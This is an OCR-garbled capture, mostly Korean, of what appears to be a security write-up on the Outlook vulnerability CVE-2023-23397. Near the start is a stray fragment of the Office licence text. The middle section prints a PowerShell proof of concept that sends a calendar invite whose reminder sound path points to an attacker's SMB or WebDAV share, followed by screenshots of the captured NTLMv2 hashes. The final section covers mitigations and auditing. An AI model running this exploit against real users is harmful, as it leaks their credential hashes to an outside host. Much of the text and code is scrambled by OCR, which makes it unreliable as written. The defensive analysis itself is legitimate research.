CLAUSE AND CLASS ACTION WAIVER IM SECTIO 'LI '—I = I_I I:I'!
Thank you for choosing Microsoft!
Depending on how you obtained the Office so 4+ HF 9| Microsoft 365 3 Office”t DHE W EX 2 &LIOL
software installer that distributes the software
or if a business where your principal place of b
Microsoft is the device manufacturer for device
acquired the software directly from Microsoft,
This agreement describes your rights and the ¢
entire agreement, incuding any printed paper
terms are important and together create this ag
link into a browser window,
By accepting this agreement or using the softw
information during activation and during your ="l=
Section 4, If you do not accept and comply with
device manufacturer or installer, or your retaile

a9 13. 4 WA Q] outlook 2016 32bit
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Step 1) HaiAel 5Ug AD AH ] 7FYE FHAE CVE-2023-23397 2 <H-837] Y8 4e
Y HR2E FAEAY] SMB AHZ dAsto] ot wA RS 2t

funct ion Send-CalendariTWilesk ($recipient. Sremotefilepath, $meetinssubiect, Jmeet ingbody)
1
oot look = Hew—0bject —comObject Outlook. Applicatior
fnewcal = $outlook Crestelten( oldppointment|ten’ ]l
[§rewcal ReminderSoandFile = *ﬂ;";l;hﬂ'.TTsf'.I:‘.‘CiEF.";';"SI'-'IEHil;heI:lst.wa\-"l—g—?:| A2l SMB UNC H =2
frewcal Hecipients. addl eqst |abeholithet J
frewcal MeetingStatus = [Microsoft 0ffice. Interop. (utlook, OlHeet ingStatus] —colMesting
frnewcal . Subject = "BASTLab”
fnewcal .Locat ion = " Insight
frewcal Body = "Patch Bypass
fnewcal .Start = get—date
fnewcal End = {get—date) , AddHoursi 2
Gnewcal  BeminderOverrideDefault =1
Snewcal ReminderSet = 1
fnewcal .FeminderPlaysound = 1
anewcal . sendl )

79 14, 49 HA9| A28 FARS SMB F§ Evlz 47

Step 2) sz o] HIAAE Alshd njE] dF 7)5ol Agste] Fefdol 4t

egstlabwhblithe@
All Unread By Date v T EQSTLab
— d
4 Today o As the meeting organizér, you do not néed to respond to the meeting.
eqgstlabwhblithe@ @ s 4 A mE e e s o e o
EQSTLab o= 4up When 20234 42 42 = =F 447-=F 64 Location Insight

Patch Bypass! <end>
1 Reminder(s) - >

4 Last Week Patch Bypass!

Microsoft OU“'DE E 0 reminders are selected

Microsoft Outlook =

EEQSTLab 14 minutes ove...
Microsoft Outlook

Microsoft Outlook BI~E

AT HUE AR

03-27

2)

4 Two Weeks Ago

blithe Wh
test 2023-03-22
test <end>

Click Snooze to be reminded in:

Dismiss All

a9 15, vg €98 5%
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Step 3) & AA = 12 NTLMV2 oH*l HOﬂ o=
NTLMv2-SSP Client - ‘
NTLMv2-SSP Username
NTLMv2-SSP Hash

9 16. NTLMv2 3fA] &3

SMB 7t ofz} WebDAV & &8s WiFolA siAl 257t 7Hssitt.

function Send-CalendarlTllezk ($recipient, $remotefilepath. Tmestingsubject, $meet ingbody)

1

$0utlook = Hew—0bject —comObject Out look. ipplication

frewcal = $outlook, Crestelten ol bppointment | ten’ ]l
'%newcal FeminderSoundFi le = “##EISTLab@iwebdavitegst . wav | WebDAV HE

newcal Hecipients, addl =gt l2behdl i thel )

fnewcal MeetingStatus = [Microsoft.0ffice. Interop. Qutlook. Ol Meet ingStatus] - olMeeting
frnewcal .Subject = "HISTLab”

fnewcal Location = " lnsight

fnewcal .Body = “Bypass By BebDd

T3 17. WebDAV 2 A2 473

eqstlabwhblithe @

All  Unread By Date ~ T EQSTLab
4 Today o As the meeting organizer, you do not need to respond to the meeting.
= —
eqstiabwhblithe® =2 When 20239 42 4€ S22 2F 11:01-2F 1:01 Location Insight
EQSTLab 2 11:01 creeEm = - N - 1sight
Bypass By WebDAV <end>
1 Reminder(s) - =
4 Last Week Bypass By WebDAY
p—
Microsoft Outlook | EQSTLab N
Microsoft Outlook HI=E .., SHEI0M 20238 4842 5122
HE HES BAESS Insight
HEl EQSTLab Now
Microsoft Outlook
Microsaft Qutlook HAE . 03-27 (8)
T E2ESHIESHE
Dismiss
Click Snooze to be reminded in:
[ Two Weeks Ago 5 minutes | | snooze Dismiss All
blithe Wh

a9 18, oH3 zdf HAIA] 4
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Host

NTLMv2 Client
NTLMv2 Username :
NTLMv2 Hash

1% 19. WebDAV £ ©]-83F NTLMv2 SiA] €5
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3) 1:’H_2. B]'C])l-

CVE-2023-23397 th-& HIote 4 7122 A 9]
1. XAl HF O] Outlook 22 YO0IE (R& F 2
2. Reminder(0|2| &) 7|s six
3. SMB, WebDAV S1} 22 Z2I0|2E MH|AZ Lt7H= IjZlE Outbound M2 ACL HE
4. Microsoft | Al X|SSH= PowerShell A3 E N&

X QF Exchange ServerE 2Ydsts AL Z|4 H{HO| Exchange MHZ UGHO|ESIH M2 HAX|E $A1810] TNEFSIIY 2

3t Al PidLidReminderFileParameter HA|X| S AMN|S}7| W20 QHHSICE.

N
ok

U

A WA GRS Microsoft oA Agtsh= HA xS HLst= Aolt}, syt o] =
Al SHARE bA AESERe], UiRAtel o7t F4 ThsAde] AR ‘I}EW
ofgf o] WetE FrrHor A&sh= Zlo] CVE-2023-23397 ool <Hddt -3 etoltt

=

. B
a9 7152 AgHelA PidLidReminderOverride €432 True 2 AAsHE, vz dHo] F3514]
27| wwol CVE-2023-23397 F Pl ¢bdsith. mlg] o7l 7ls& Alftsh= Wete o=t
2. d(File) -> =4 (Options) - g (Advance) ©|F ofefio] TIgut o] A= HfAE

T HA g2 v dE Vlse 2R SASY vlE &E 7sS Alste eteldh wlE

—

General [i Options for working with Outlook.
Mail
Calendar Outlook panes

People Customize OQutlock panes. MNavigation...

= Reading Pane...
Search
Outlook start and exit

Language
Accessibility Start Qutlook in this folder: Inbax Browse...
Advanced Empty Deleted Iterns folders when exiting Outlook
Customize Ribbon AutoArchive
Quick Access Toolbar =

\Q—I Reduce mailbox size by deleting or moving old items to an archive data file. Autolrchive Settings...
Add-ins
Trust Center Reminders

Show reminders

A2 EA| S

Play reminder sound:

a9 20. "F] &9 71%E A

26 TNEF(Transport Neutral Encapsulation Format) stlolat WlAA 24 m27#j9 <lemo]A(MAPDE 7|¥tea s Azt W
A5 mtgoltt. HR mrdelli= Outlook 715 /ER1E, oF&, o[u|7] 5) thFgt 48] WXAE S 4 qUoh
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N HA =S SMB, WebDAV 53 72 Zelo|dE AH|ANA ofH2E HALS AgHsl=
ACL-E& #-835l= Weteltt, CVE-2023-23397 HFH2NTLMv2 sAIE FAA A AEot= Aol
EAo]7] W&o Yrte #7lS Aoz n FAH g 4 Q.

54 mEo] g3 olles AAE HgSt e ot 2t
Y B9t -> Windows Defender &t -> 15 A -> OtRHRE 7% -> M 72

-> ZE > EF Y7 HE(ex. SMB: 445, 135) -> AZ AGh > % 0|5 43 = O -> 49 o AEoA

24 ZE FI}

X 74 #Zof mzt ofH2E WA HE Al Fof W Jts/go] Exstr| W0 F2lsoFsict.

oo
b2

= 257 = HEE cve-2023 &4 X
EZ AFHO 1g 20H0] =) Rl /XNt [ f—
@ er ! bl oy zzazgaHs 2z EEE ESSEUES ax D3 23S0 AR
e e = 0=
= rees 3 EE
[CEETET () cve-2023] T
|.:h =10 = @ @FirewallAPLd =3 ZEEZ SR(PE TCP >

4 skype ZEES HE(UN B =

@ Skype

@ spotify Music 23 ExE(L): EX™ XE -

& Spotify Music 445, 135

L EDR | (Hl: 80. 443, 5000-5010

@ Allloyn 212 H HE EZE(RR EH XE ~

@ Allloyn 22 = 445, 135
BranchCache 3 T B0, 343, S50
BranchCache 1

4 |ICMP{Internet Contral Message

BranchCacth Protocaly €%
BranchCache 3

iy Y

a9 21. obxHtRE AAE B9 HI A

e

29t 2= Microsoft oA A-&5l= PowerShell A3 AIHYEE ALQ5}= Hoto|r},

AIYE C}REE FA

https://github.com/microsoft/CSS-Exchange/releases/latest/download/CVE-2023-23397.ps1

PowerShell A3 A3 YE+= Exchange WAIA &5, 44 2 2H9)
5 J

g 2 Felste] FeRe S4o
sapedo] matulo] qlix] Selshs AT 4415 okt 442

ARG dAA L Q)

g4 5 CSVIAS AEshe Audic RESH HoRE £4& AAAL WAXE AAsHE Cleanup
nEg Agath TAE $4o] tet a7 A A4 27 Sol thEne FulolYelA A
ARE S 5 et

S Audit BE: £M0| YR 2Ol HE HEIJF &
- Cleanup BE: £dEE X|RAL &= AKX 510 7:-F |2l gt=0f of
Al O ol

O A XIS ®7{3tH, ClearProperty X-&

oot
rn
N
wn
<
E_l
me
mjo
2

=8 Clearltem & & Al

mo et op
o
i)

=
M
ook M

r|r
I
0x

2 https://microsoft.github.io/CSS—Exchange/Security/CVE-2023-23397/
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H &30 AIO|E

—https://learn.microsoft.com/en—us/previous—versions/windows/internet—explorer/ie-developer/platform—

apis/dd759042(v=vs.85)
—https://www.microsoft.com/en—us/security/blog/2023/03/24/guidance—for—investigating—attacks—using—
cve—2023-23397/

—https://twitter.com/wdormann/status/1638308666368569345
—https://www.mdsec.co.uk/2023/03/exploiting—cve—2023-23397-microsoft—outlook—elevation—of—
privilege—vulnerability/

— https://learn.microsoft.com/ko—kr/dotnet/api/system.security.securityzone?view =windowsdesktop—7.0
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